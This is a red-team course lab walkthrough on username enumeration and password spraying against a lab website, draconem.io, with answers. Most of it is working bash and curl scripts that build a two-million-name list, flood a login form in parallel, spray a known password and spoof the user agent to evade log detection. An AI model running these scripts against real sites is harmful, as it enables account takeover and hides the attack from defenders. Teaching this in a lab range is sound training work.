Lab 1.5 : Bonus! Username Enumeration and Password Spraying
Objectives
- Continue username enumeration to discover other valid users
- Use the known password to spray the newly discovered accounts
TTPs Emulated in this Lab
- T1087.003 - Account Discovery: Email Account
- T1110.001 - Brute Force: Password Guessing
- T1110.003 - Brute Force: Password Spraying
Preparation
Preparation Steps
Ensure you are connected to the VPN and can ping from the Slingshot Linux VM to the draconem.io website.
Open a terminal on Slingshot. Connect to the VPN with openvpn and take note of your ip address:
sudo openvpn ~/Desktop/sec565-labs-range.ovpn
Ctrl+Shift+t to open a new terminal tab, then run the following command to create four ICMP packets :
ping -c 4 draconem.io
If you get a successful ping, then curl the website. The ping tests icmp while the curl tests dns, tcp, and http.
curl draconem.io | head

On Your Own
Enumerate additional usernames and use the discovered credentials from Lab 1.4 to conduct a password spraying attack:
What additional usernames are discovered?
________________________________________________________________
What additional credentials are discovered?
________________________________________________________________
Walkthrough
1. As an optional bonus lab, let's use the information disclosure and lack of rate limiting in the website to enumerate other possible users. First let's collect the top 1,000 last or family names from the USA in the SecLists project, along with 1,000 top female first names and 1,000 top male first names. There are many wordlists to choose from, these were selected based off target intelligence. The company is based in the US and the users we've already seen have US based names. Keep in mind that this technique would not cover more unique and international names.
cd /labs/sec-1/recon
curl https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/familynames-usa-top1000.txt -o familynames.txt
curl https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/femalenames-usa-top1000.txt -o femalenames.txt
curl https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/malenames-usa-top1000.txt -o malenames.txt
2. Using a nested while loop we can create new wordlists of usernames by concatenating every first name in our two lists of 1,000 with every last name in our list of 1,000. Simple math shows that we should have a total of two million usernames (1,000 * 2,000). That's a LOT of requests but we have the ability to keep sending requests without affecting the system. Although this would be captured in web server logs, as long as we use a redirector or proxy, this activity shouldn't be tied to our other Red Team engagement activity. We will explore redirectors and proxies in section two of SEC565. Depending on the target organization these requests could be distributed across multiple redirectors and slowly attempted over a longer period of time. Also, another note from the defender's perspective; this sort of activity is continually found across the internet. With all that noise it may be difficult for defenders to see your authentication attempts. Let's use the strategy of while loops in bash to create our new wordlists. We first loop through our femalenames.txt and have an inner loop of familynames.txt. In each iteration we concatenate the two names with a period (.) in between to match the username format.
while read first;
do while read last;
do echo $first.$last >> usernames.txt;
done < familynames.txt;
done < femalenames.txt
while read first;
do while read last;
do echo $first.$last >> usernames.txt;
done < familynames.txt;
done < malenames.txt
wc -l usernames.txt
head -n 5 usernames.txt

3. We can see we have the expected number of two million usernames. There are two more items of consideration. Our list is all capital characters, although usernames shouldn't be case sensitive, we will want to change that to lowercase characters because our prior testing showed success with all lowercase usernames. Also, the last names are unique but the certain first names may exist in both the female and male wordlists. In order to reduce the number of authentication attempts we want a unique list of usernames.
sort -u usernames.txt | wc -l
sort -u usernames.txt > usernames-uniq.txt
Note
Another methodology would have been to create a unique list of first names by combining that list before executing the nested while loops.
4. We are going to use four methods to change the characters to all lowercase. For the purpose of measuring efficiency we will use the time utility that will give us the run time of each of these commands. The right answer is to use whatever works, but the best answer is to be as efficient as possible and to know that there are other options to create the same effects. tr or translate takes a simple ruleset and affects the data based on those rules. sed or stream editor takes a bit longer because it is much more powerful but with that power comes more overhead. awk or pattern scanning and processing language also has immense capability but seems to be more efficient in this case because it's logic is more simple. While sed is pattern matching, awk is just applying a function to each line it processes.
# testing efficiencies
time tr '[:upper:]' '[:lower:]' < usernames-uniq.txt > /dev/null
time tr A-Z a-z < usernames-uniq.txt > /dev/null
time sed 's/.*/\L&/g' < usernames-uniq.txt > /dev/null
time awk '{print tolower($0)}' < usernames-uniq.txt > /dev/null
# create new list
time tr '[:upper:]' '[:lower:]' < usernames-uniq.txt > usernames-lower-unique.txt
wc -l usernames-lower-unique.txt

Note
You can see in this screenshot that our new tr command took twice as long, that is due to the extra redirection of the data to our new file.
5. Now we are ready to discover more valid usernames by sending another 1,921,000 requests to the web server. The script below should seem familiar, take a moment to read and understand each line. We can use the username as filename because all of the usernames are unique and do not contain special characters that will conflict with the Linux filesystem. We will experiment with a few methods on a smaller wordlist before sending all 1.9M usernames. After we are happy with the most efficient method we will run through the entire wordlist. First let's analyze the difference between an incorrect username and incorrect password.
curl -ski 'http://www.draconem.io/onboarding/' --data-raw "username=seth.duncan&password=wrongpassword&submit=" | grep "<h4>"
curl -ski 'http://www.draconem.io/onboarding/' --data-raw "username=wrongusername&password=wrongpassword&submit=" | grep "<h4>"
Let's truncate the near two million usernames down to a 500 for checking our methodology.
head -n 500 usernames-lower-unique.txt > usernames-lower-unique.tmp
Warning
Sequential checking of usernames is very slow.
rm attempts/*
time while read u; do
curl -ski 'http://www.draconem.io/onboarding/' --data-raw "username=$u&password=ThisCantPossiblyBeACorrectPassword&submit=" | grep "<h4>" >> attempts/$u
done < usernames-lower-unique.tmp
ll attempts/ | wc -l
Parallel checking of usernames with forking is much faster.
rm attempts/*
time while read u; do
(curl -ski 'http://www.draconem.io/onboarding/' --data-raw "username=$u&password=ThisCantPossiblyBeACorrectPassword&submit=" | grep "<h4>" >> attempts/$u &)
done < usernames-lower-unique.tmp
ll attempts/ | wc -l
Parallel checking of usernames can be optimized with forking and only accessing a file if the string <h4>Invalid password</h4> is on the HTTP response not only increases speed but also minimizes the number of files produced.
rm attempts/*
time while read u; do
(curl -ski 'http://www.draconem.io/onboarding/' --data-raw "username=$u&password=ThisCantPossiblyBeACorrectPassword&submit=" | grep "<h4>Invalid password</h4>" && touch attempts/$u &)
done < usernames-lower-unique.tmp
ll attempts/ | wc -l
Lastly, let's look at the files created.
ll attempts/

6. We just found a valid user account! When we sent a request with aaron.hogan as the username we got the string we were looking for. After testing different methodologies we are ready to enumerate the rest of the users from our list of two million possible usernames. This will take quite a bit of time. You can see in the screenshot that it took nearly three hours to exhaust the list, but the results are amazing! We have discovered seven new users.
rm attempts/*
time while read u; do
(curl -ski 'http://www.draconem.io/onboarding/' --data-raw "username=$u&password=ThisCantPossiblyBeACorrectPassword&submit=" | grep "<h4>Invalid password</h4>" && touch attempts/$u &)
done < usernames-lower-unique.txt
ll attempts
7. Our final task is to use the discovered password "S3@S3rp3nt" from earlier and a test each of these new users. First, some Bash-fu to create a new username list. We take a directory listing, replace all spaces with new lines with tr " " "\n" and then sort the list uniquely. Then a simple sequential loop to check usernames, this time we will just print the results to the screen.
ls attempts/ | tr " " "\n" | sort -u > newusers.txt
while read u; do
echo -n $u; curl -ski 'http://www.draconem.io/onboarding/' --data-raw "username=$u&password=S3@S3rp3nt&submit=" | grep "<h4>"
done < newusers.txt

Now we can see that two users are sharing the same password. omar.santos and seth.duncan both have the same password of S3@S3rp3nt!
8. Before we end this bonus lab, let's explore what the web server logs might look like to a defender. Our target is an apache2 server running php. By default, logs are stored in /var/log/apache2. There is an access.log that keeps track of every web request and an error.log that keeps track of any server errors. After our brute forcing we see a log file that is 212MB of ascii text. Looking at the end of the log we see a lot of requests from a curl client. This would stand out immediately to a defender. If we used the same source ip it would appear nearly two million times. If the target has mature log analysis, then we would want to distribute out attempts across many servers to avoid showing a pattern, we would also limit how rapidly we make requests. Regardless of the maturity level, we would also want to set the user agent string of our curl client to a popular user agent to disguise the use of our tool.
Review below, not to be executed:
root@draconem.io:/# ls -alh /var/log/apache2/access.log
-rw-r--r-- 1 www-data www-data 212M Feb 28 00:32 /var/log/apache2/access.log
root@draconem.io:/# tail -n 30 /var/log/apache2/access.log
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
9. We can set the user agent by providing an HTTP header:
curl 'http://www.draconem.io/onboarding/' -X POST -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1' --data-raw "username=$u&password=S3@S3rp3nt&submit="
Using the -A or --user-agent command line switch
curl 'http://www.draconem.io/onboarding/' -X POST -A 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1' --data-raw "username=$u&password=S3@S3rp3nt&submit="
Or our most recommended option, setting the user agent in the .curlrc file in the user's home directory.
echo "user-agent = \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1\"" >> ~/.curlrc
Now the log file would show:
x.x.x.x - - [28/Feb/2022:02:52:19 +0000] "POST /onboarding/ HTTP/1.1" 200 4947 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1"
Lab Answers
What additional usernames are discovered?
- aaron.hogan
- felix.guerrero
- jon.kim
- mark.goodwin
- omar.santos
- peter.beck
- robbie.mitchell
What additional credentials are discovered?
- omar.santos : S3@S3rp3nt
Conclusion
In this lab, you extended the password attacks by mounting a large scale brute force of usernames based off three large wordlists. Knowing the user format you created a custom wordlist with nearly two million usernames. You experimented with various techniques to find the best methodology to executing the attack. After three hours of brute forcing you discovered seven more usernames and matched the known credentials against a new user. Lastly, we looked at what the web server logs might look like to the defender and how we could do a better job of blending into other traffic.